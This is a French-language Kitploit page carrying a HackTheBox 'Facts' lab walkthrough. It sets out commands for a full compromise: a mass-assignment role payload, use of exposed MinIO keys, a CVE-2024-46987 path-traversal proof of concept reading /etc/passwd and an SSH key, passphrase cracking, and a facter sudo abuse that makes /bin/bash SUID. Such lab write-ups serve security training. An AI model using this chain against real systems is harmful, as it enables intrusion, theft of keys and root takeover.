Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HackTheBox-Facts — HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins. | Kitploit
Outils/GitHubGitHub/suriyaboon/hackthebox-facts
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud Security

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.

Learning & Education
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Voir le dépôt
il y a 2 moisPas encore vérifié
Partager

HTB Facts — Rédaction complète

Difficulté : Medium
OS : Linux
Mots-clés : Web, MinIO, Camaleon CMS, Contournement de chemin, SSTI, Élévation de privilèges


Table des matières

  1. Reconnaissance
  2. Énumération web — Port 80
  3. Découverte de MinIO — Port 54321
  4. Camaleon CMS — Accès administrateur
  5. Élévation de privilèges au rôle admin
  6. Découverte des identifiants MinIO
  7. Lecture arbitraire de fichiers — CVE-2024-46987
  8. Accès SSH en tant que trivia
  9. Élévation de privilèges à root
  10. Drapeaux

Reconnaissance

Commencez par un scan complet des ports TCP pour identifier les services ouverts.

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

Résultats :

PortServiceRemarques
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321InconnuIdentifié comme MinIO

Ajoutez la cible à /etc/hosts :

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

Énumération web — Port 80

La navigation vers http://facts.htb révèle un site de quiz construit sur Camaleon CMS (Ruby on Rails). Indicateurs clés :

  • Nom du cookie : _factsapp_session (session Rails)
  • Chemins des ressources : /assets/themes/camaleon_first/
  • Jeton CSRF dans les balises meta
  • Serveur : nginx/1.26.3 (Ubuntu)

Énumérez le sitemap pour toutes les pages disponibles :

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

Chemins notables découverts :

  • /admin → redirige vers /admin/login
  • /rss
  • Diverses pages de quiz : /animal-ejected, /anne-frank, etc.

Vérifiez le panneau de connexion admin :

root@kitploit:~
curl -v http://facts.htb/admin
# → redirection 302 vers /admin/login

Découverte de MinIO — Port 54321

En sondant le port inconnu avec curl, on découvre MinIO, un service de stockage d'objets compatible S3 :

root@kitploit:~
curl -v http://facts.htb:54321

Réponse :

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Les en-têtes confirment : Server: MinIO

Énumérez les noms de buckets potentiels (tous renvoient 403, confirmant leur existence) :

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Tous renvoient 403 Forbidden — les buckets existent mais nécessitent des identifiants.


Camaleon CMS — Accès administrateur

Identification du CMS

À partir des chemins des ressources et du cookie de session, le CMS est identifié comme Camaleon CMS.

Vérifiez les vulnérabilités connues :

root@kitploit:~
searchsploit camaleon

Résultats :

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

La version du panneau d'administration est confirmée comme 2.9.0 (visible dans le pied de page après connexion).

Création d'un compte

La page de connexion admin à http://facts.htb/admin/login inclut un lien "Créer un compte". Enregistrez un nouveau compte :

  • Naviguez vers http://facts.htb/admin/users/sign_up
  • Remplissez des identifiants valides (par ex., test123 / test123)
  • Soumettez — cela crée un compte de rôle Client

Après l'enregistrement, connectez-vous au tableau de bord admin. Le compte a des privilèges Client limités.


Élévation de privilèges au rôle admin

Vulnérabilité d'assignation en masse

Camaleon CMS est vulnérable à une attaque d'assignation en masse sur le point de terminaison de changement de mot de passe. En interceptant la requête de changement de mot de passe et en injectant un paramètre password[role], un attaquant peut élever son propre rôle à admin.

Étapes avec Burp Suite :

  1. Connectez-vous au panneau admin avec le compte Client.
  2. Naviguez vers Profile → Edit → Change Password.
  3. Entrez un nouveau mot de passe et cliquez sur Process.
  4. Interceptez la requête POST dans Burp Suite.
  5. Ajoutez &password[role]=admin au corps de la requête :
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Transmettez la requête — la réponse doit être 200 OK.
  2. Reconnectez-vous avec les identifiants mis à jour.

Le compte a maintenant des privilèges admin, donnant un accès complet au panneau d'administration du CMS, y compris Settings, Media, et Filesystem Settings.


Découverte des identifiants MinIO

Avec un accès admin, naviguez vers :

root@kitploit:~
Settings → General Site → Filesystem Settings

La page révèle des identifiants MinIO (compatibles AWS S3) codés en dur :

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Configurez AWS CLI et énumérez les buckets :

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Buckets découverts :

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

Le bucket internal contient le répertoire personnel de l'utilisateur trivia :

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Lecture arbitraire de fichiers — CVE-2024-46987

Alternativement, la clé privée SSH peut être récupérée via CVE-2024-46987, une vulnérabilité de contournement de chemin authentifié dans Camaleon CMS qui permet de lire des fichiers arbitraires du serveur.

Clonez le PoC public :

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Lisez les fichiers sensibles :

root@kitploit:~
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Sortie (lignes pertinentes) :

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Deux utilisateurs sont identifiés : trivia et william. Puisque trivia a un shell de connexion et un répertoire personnel, vérifiez la présence d'une clé privée SSH :

root@kitploit:~
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Enregistrez la sortie de la clé dans un fichier :

root@kitploit:~
chmod 600 id_ed25519

Accès SSH en tant que trivia

Craquage de la phrase de passe de la clé SSH

La clé privée SSH est chiffrée avec une phrase de passe. Utilisez ssh2john et john pour la craquer :

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Phrase de passe craquée : dragonballz

Connexion via SSH

root@kitploit:~
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

Récupérez le flag utilisateur :

root@kitploit:~
cat /home/william/user.txt

Élévation de privilèges à root

Permissions sudo

Vérifiez les privilèges sudo pour l'utilisateur trivia :

root@kitploit:~
sudo -l

Sortie :

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

L'utilisateur peut exécuter /usr/bin/facter en tant que root sans mot de passe. facter est un outil d'information système basé sur Ruby.

GTFOBins — facter

Selon GTFOBins, facter peut charger des fichiers de faits Ruby personnalisés via --custom-dir, qui sont exécutés en tant qu'utilisateur appelant (root dans ce cas).

Exploitation :

root@kitploit:~
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Spawn root shell
/bin/bash -p

Récupération du flag root

root@kitploit:~
whoami
# root

cat /root/root.txt

Drapeaux

DrapeauEmplacement
user.txt/home/william/user.txt
root.txt/root/root.txt

Résumé de la chaîne d'attaque

root@kitploit:~
Scan Nmap
    ↓
Port 80 : Camaleon CMS 2.9.0
    ↓
Enregistrer un compte Client → Panneau admin
    ↓
Assignation en masse : password[role]=admin → Rôle admin
    ↓
Paramètres admin → Identifiants MinIO exposés
    ↓
CVE-2024-46987 : Contournement de chemin → Lecture de /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Phrase de passe : dragonballz
    ↓
Connexion SSH en tant que trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVEs et Références

CVEDescription
CVE-2024-46987Contournement de chemin authentifié Camaleon CMS / lecture arbitraire de fichiers
CVE-2023-30145SSTI Camaleon CMS v2.7.0 via paramètre formats (non utilisé dans cette boîte)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
Télécharger l’outil